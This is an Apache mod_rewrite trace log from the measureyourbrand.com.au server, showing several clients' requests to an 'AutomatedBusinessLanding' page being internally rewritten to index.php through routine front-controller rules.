[Mon Nov 10 18:40:49.487600 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487610 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487623 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487633 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487643 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487652 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487665 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487674 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487872 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487888 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487907 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487922 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487932 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487952 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487952 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487958 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487980 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487991 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487992 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700e90c0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:55.857440 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857493 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857511 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857529 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857543 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857554 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857564 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857577 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857588 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857614 2025] [rewrite:trace1] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5680475c0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857712 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857729 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857738 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857751 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857761 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857772 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857782 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857795 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.857804 2025] [rewrite:trace1] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56812bd10/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858001 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858026 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858040 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858054 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858066 2025] [rewrite:trace4] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858076 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858085 2025] [rewrite:trace3] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858095 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858105 2025] [rewrite:trace2] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:55.858114 2025] [rewrite:trace1] [pid 10210:tid 10255] mod_rewrite.c(505): [client 192.76.153.253:61236] 192.76.153.253 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240c4030/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369557 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369617 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369632 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369654 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369667 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369679 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369692 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369704 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369717 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369728 2025] [rewrite:trace1] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c041780/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369863 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369878 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369885 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369899 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369913 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369920 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369932 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369940 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.369940 2025] [rewrite:trace1] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c044548/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370166 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
